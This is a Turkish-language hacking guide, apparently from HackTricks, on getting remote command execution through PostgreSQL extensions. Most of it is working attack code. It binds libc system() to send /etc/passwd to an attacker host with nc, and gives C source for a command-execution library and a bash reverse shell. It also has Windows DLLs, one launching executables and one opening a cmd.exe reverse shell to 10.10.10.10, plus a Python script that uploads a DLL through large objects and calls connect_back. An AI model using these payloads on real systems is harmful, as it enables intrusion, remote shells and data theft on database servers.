RCE with PostgreSQL Extensions

AWS hackleme konusunda sıfırdan kahramana dönüşmek için htARTE (HackTricks AWS Kırmızı Takım Uzmanı)'ı öğrenin!

PostgreSQL Uzantıları

PostgreSQL, uzantıları sanki bunlar yerleşik işlevlermiş gibi sorunsuz bir şekilde entegre edebilme yeteneğiyle geliştirilmiştir. Bu uzantılar, temel olarak C dilinde yazılmış kütüphanelerdir ve veritabanını ek fonksiyonlar, operatörler veya tiplerle zenginleştirir.

8.1 sürümünden itibaren, uzantı kütüphanelerine belirli bir gereklilik getirilmiştir: bunlar özel bir başlıkla derlenmelidir. Bu başlık olmadan PostgreSQL, bunları yürütmez ve yalnızca uyumlu ve potansiyel olarak güvenli uzantıların kullanılmasını sağlar.

Ayrıca, PostgreSQL'i istismar ederek kurbanın üzerine dosya yüklemeyi bilmiyorsanız, bu yazıyı okumanız gerekmektedir. **(Büyük ikili dosyaların PostgreSQL'e yüklenmesi)**

Linux'ta RCE (Uzaktan Komut Yürütme)

Daha fazla bilgi için: https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/

PostgreSQL 8.1 ve daha eski sürümlerinden sistem komutlarının yürütülmesi, açıkça belgelenmiş ve basit bir süreçtir. Bu: Metasploit modülünü kullanmak mümkündür.

CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');

# You can also create functions to open and write files
CREATE OR REPLACE FUNCTION open(cstring, int, int) RETURNS int AS '/lib/libc.so.6', 'open' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION write(int, cstring, int) RETURNS int AS '/lib/libc.so.6', 'write' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' LANGUAGE 'C' STRICT;
Base64'den ikili dosya yazma

Postgres'ta bir dosyaya ikili veri yazmak için base64 kullanmanız gerekebilir, bu durumda işinize yarayacak bir yöntem aşağıdaki gibidir:

CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS
$$
DECLARE
fh int;
s int;
w bytea;
i int;
BEGIN
SELECT open(textout(file)::cstring, 522, 448) INTO fh;

IF fh <= 2 THEN
RETURN 1;
END IF;

SELECT decode(s, 'base64') INTO w;

i := 0;
LOOP
EXIT WHEN i >= octet_length(w);

SELECT write(fh,textout(chr(get_byte(w, i)))::cstring, 1) INTO rs;

IF rs < 0 THEN
RETURN 2;
END IF;

i := i + 1;
END LOOP;

SELECT close(fh) INTO rs;

RETURN 0;

END;
$$ LANGUAGE 'plpgsql';

Ancak, daha yeni sürümlerde denendiğinde aşağıdaki hata görüntülendi:

ERROR:  incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic block
HINT:  Extension libraries are required to use the PG_MODULE_MAGIC macro.

Bu hata PostgreSQL belgelerinde açıklanmıştır:

Bir dinamik olarak yüklenen nesne dosyasının uyumsuz bir sunucuya yüklenmemesi için PostgreSQL, dosyanın uygun içeriğe sahip bir "sihirli blok" içerdiğini kontrol eder. Bu, sunucunun PostgreSQL'in farklı bir ana sürümü için derlenmiş olan kod gibi açık uyumsuzlukları tespit etmesini sağlar. PostgreSQL 8.2'den itibaren bir sihirli blok gereklidir. Bir sihirli blok eklemek için, başlık fmgr.h dahil edildikten sonra, bu kodu modül kaynak dosyalarından birinde (ve sadece birinde) yazın:

#ifdef PG_MODULE_MAGIC PG_MODULE_MAGIC; #endif

PostgreSQL 8.2 sürümünden itibaren, saldırganın sistemi istismar etmek için daha zorlu bir süreç izlemesi gerekmektedir. Saldırganın ya zaten sistemde bulunan bir kütüphaneyi kullanması ya da özel bir kütüphane yüklemesi gerekmektedir. Bu özel kütüphane, uyumlu bir PostgreSQL ana sürümüne karşı derlenmiş olmalı ve belirli bir "sihirli blok" içermelidir. Bu önlem, PostgreSQL sistemlerini istismar etmenin zorluğunu önemli ölçüde artırır, çünkü sistem mimarisinin ve sürüm uyumluluğunun daha derin bir anlayışını gerektirir.

Kütüphaneyi derle

PostgreSQL sürümünü alın:

SELECT version();
PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0 20170516, 64-bit

Uyumluluk için, ana sürümlerin uyumlu olması önemlidir. Bu nedenle, 9.6.x serisindeki herhangi bir sürümü derleyerek başarılı bir entegrasyon sağlanabilir.

Sisteminize bu sürümü yüklemek için:

apt install postgresql postgresql-server-dev-9.6

Ve kütüphaneyi derleyin:

//gcc -I$(pg_config --includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c
#include <string.h>
#include "postgres.h"
#include "fmgr.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

PG_FUNCTION_INFO_V1(pg_exec);
Datum pg_exec(PG_FUNCTION_ARGS) {
char* command = PG_GETARG_CSTRING(0);
PG_RETURN_INT32(system(command));
}

Ardından derlenmiş kütüphaneyi yükleyin ve komutları şu şekilde çalıştırın:

CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAGE C STRICT;
SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
#Notice the double single quotes are needed to scape the qoutes

Bu kütüphane önceden derlenmiş birçok farklı PostgreSQL sürümü için bulunabilir ve hatta bunu otomatikleştirebilirsiniz (eğer PostgreSQL erişiminiz varsa) şu adresten:

Windows'ta Uzaktan Komut Yürütme (RCE)

Aşağıdaki DLL, binary dosyasının adını ve kaç kez yürütüleceğini girdi olarak alır ve onu yürütür:

#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <stdio.h>
#include "utils/builtins.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum pgsql_exec(PG_FUNCTION_ARGS);
PG_FUNCTION_INFO_V1(pgsql_exec);

/* this function launches the executable passed in as the first parameter
in a FOR loop bound by the second parameter that is also passed*/
Datum
pgsql_exec(PG_FUNCTION_ARGS)
{
/* convert text pointer to C string */
#define GET_STR(textp) DatumGetCString(DirectFunctionCall1(textout, PointerGetDatum(textp)))

/* retrieve the second argument that is passed to the function (an integer)
that will serve as our counter limit*/

int instances = PG_GETARG_INT32(1);

for (int c = 0; c < instances; c++) {
/*launch the process passed in the first parameter*/
ShellExecute(NULL, "open", GET_STR(PG_GETARG_TEXT_P(0)), NULL, NULL, 1);
}
PG_RETURN_VOID();
}

Bu zip içinde derlenmiş DLL'yi bulabilirsiniz:

Bu DLL'ye hangi ikili dosyanın yürütüleceğini ve kaç kez yürütüleceğini belirtebilirsiniz, bu örnekte calc.exe 2 kez yürütülecektir:

CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
SELECT remote_exec('calc.exe', 2);
DROP FUNCTION remote_exec(text, integer);

Burada bu ters kabuğu bulabilirsiniz:

#define PG_REVSHELL_CALLHOME_SERVER "10.10.10.10"
#define PG_REVSHELL_CALLHOME_PORT "4444"

#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <winsock2.h>

#pragma comment(lib,"ws2_32")

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

#pragma warning(push)
#pragma warning(disable: 4996)
#define _WINSOCK_DEPRECATED_NO_WARNINGS

BOOL WINAPI DllMain(_In_ HINSTANCE hinstDLL,
_In_ DWORD fdwReason,
_In_ LPVOID lpvReserved)
{
WSADATA wsaData;
SOCKET wsock;
struct sockaddr_in server;
char ip_addr[16];
STARTUPINFOA startupinfo;
PROCESS_INFORMATION processinfo;

char *program = "cmd.exe";
const char *ip = PG_REVSHELL_CALLHOME_SERVER;
u_short port = atoi(PG_REVSHELL_CALLHOME_PORT);

WSAStartup(MAKEWORD(2, 2), &wsaData);
wsock = WSASocket(AF_INET, SOCK_STREAM,
IPPROTO_TCP, NULL, 0, 0);

struct hostent *host;
host = gethostbyname(ip);
strcpy_s(ip_addr, sizeof(ip_addr),
inet_ntoa(*((struct in_addr *)host->h_addr)));

server.sin_family = AF_INET;
server.sin_port = htons(port);
server.sin_addr.s_addr = inet_addr(ip_addr);

WSAConnect(wsock, (SOCKADDR*)&server, sizeof(server),
NULL, NULL, NULL, NULL);

memset(&startupinfo, 0, sizeof(startupinfo));
startupinfo.cb = sizeof(startupinfo);
startupinfo.dwFlags = STARTF_USESTDHANDLES;
startupinfo.hStdInput = startupinfo.hStdOutput =
startupinfo.hStdError = (HANDLE)wsock;

CreateProcessA(NULL, program, NULL, NULL, TRUE, 0,
NULL, NULL, &startupinfo, &processinfo);

return TRUE;
}

#pragma warning(pop) /* re-enable 4996 */

/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum dummy_function(PG_FUNCTION_ARGS);

PG_FUNCTION_INFO_V1(add_one);

Datum dummy_function(PG_FUNCTION_ARGS)
{
int32 arg = PG_GETARG_INT32(0);

PG_RETURN_INT32(arg + 1);
}

Bu durumda, kötü amaçlı kod DllMain fonksiyonu içinde yer almaktadır. Bu, postgresql'de yüklenen fonksiyonu çalıştırmak için gerekli olmadığı anlamına gelir, sadece DLL'yi yüklemek tersine kabuk çalıştıracaktır:

CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;

En yeni PostgreSQL sürümlerinde Uzaktan Kod Çalıştırma (RCE)

PostgreSQL'in en son sürümlerinde, superuser'ın belirli dizinlerden (örneğin Windows'ta C:\Program Files\PostgreSQL\11\lib, *nix sistemlerde ise /var/lib/postgresql/11/lib) başka yerlerden paylaşılan kütüphane dosyalarını yüklemesi yasaklanmıştır. Bu dizinler, NETWORK_SERVICE veya postgres hesapları tarafından yazma işlemlerine karşı güvenli bir şekilde korunmaktadır.

Ancak, bu kısıtlamalara rağmen, yetkilendirilmiş bir veritabanı superuser'ı, "büyük nesneler" kullanarak dosya sistemine ikili dosyalar yazabilir. Bu yetenek, tablo güncelleme veya oluşturma gibi veritabanı işlemleri için önemli olan C:\Program Files\PostgreSQL\11\data dizini içine yazma işlemine kadar uzanır.

CREATE FUNCTION komutundan kaynaklanan önemli bir güvenlik açığı, veri dizinine dizin gezintisi izin vermesidir. Sonuç olarak, yetkilendirilmiş bir saldırgan, bu gezintiyi kullanarak bir paylaşılan kütüphane dosyasını veri dizinine yazabilir ve ardından yükleyebilir. Bu saldırı, saldırganın sistemde keyfi kod çalıştırmasını sağlayarak yerel kod yürütme elde etmesini sağlar.

Saldırı akışı

İlk olarak, büyük nesneleri kullanarak dll'yi yüklemeniz gerekmektedir. Nasıl yapılacağını buradan görebilirsiniz:

pageBig Binary Files Upload (PostgreSQL)

Bu örnekteki gibi uzantıyı (poc.dll adıyla) veri dizinine yükledikten sonra, aşağıdaki komutla yükleyebilirsiniz:

create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
select connect_back('192.168.100.54', 1234);

Notu alın ki, .dll uzantısını eklemenize gerek yoktur çünkü oluşturma işlevi bunu ekleyecektir.

Daha fazla bilgi için orijinal yayını buradan okuyun. Bu yayında, postgres uzantısını oluşturmak için kullanılan kod burada (bir postgres uzantısını nasıl derleyeceğinizi öğrenmek için önceki sürümlerden herhangi birini okuyun). Aynı sayfada, bu teknik otomatikleştirmek için kullanılan bir saldırı gösterildi:

#!/usr/bin/env python3
import sys

if len(sys.argv) != 4:
print("(+) usage %s <connectback> <port> <dll/so>" % sys.argv[0])
print("(+) eg: %s 192.168.100.54 1234 si-x64-12.dll" % sys.argv[0])
sys.exit(1)

host = sys.argv[1]
port = int(sys.argv[2])
lib = sys.argv[3]
with open(lib, "rb") as dll:
d = dll.read()
sql = "select lo_import('C:/Windows/win.ini', 1337);"
for i in range(0, len(d)//2048):
start = i * 2048
end   = (i+1) * 2048
if i == 0:
sql += "update pg_largeobject set pageno=%d, data=decode('%s', 'hex') where loid=1337;" % (i, d[start:end].hex())
else:
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % (i, d[start:end].hex())
if (len(d) % 2048) != 0:
end   = (i+1) * 2048
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % ((i+1), d[end:].hex())

sql += "select lo_export(1337, 'poc.dll');"
sql += "create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;"
sql += "select connect_back('%s', %d);" % (host, port)
print("(+) building poc.sql file")
with open("poc.sql", "w") as sqlfile:
sqlfile.write(sql)
print("(+) run poc.sql in PostgreSQL using the superuser")
print("(+) for a db cleanup only, run the following sql:")
print("    select lo_unlink(l.oid) from pg_largeobject_metadata l;")
print("    drop function connect_back(text, integer);")

Referanslar

AWS hackleme konusunda sıfırdan kahramana dönüşün htARTE (HackTricks AWS Kırmızı Takım Uzmanı)ile öğrenin!

Last updated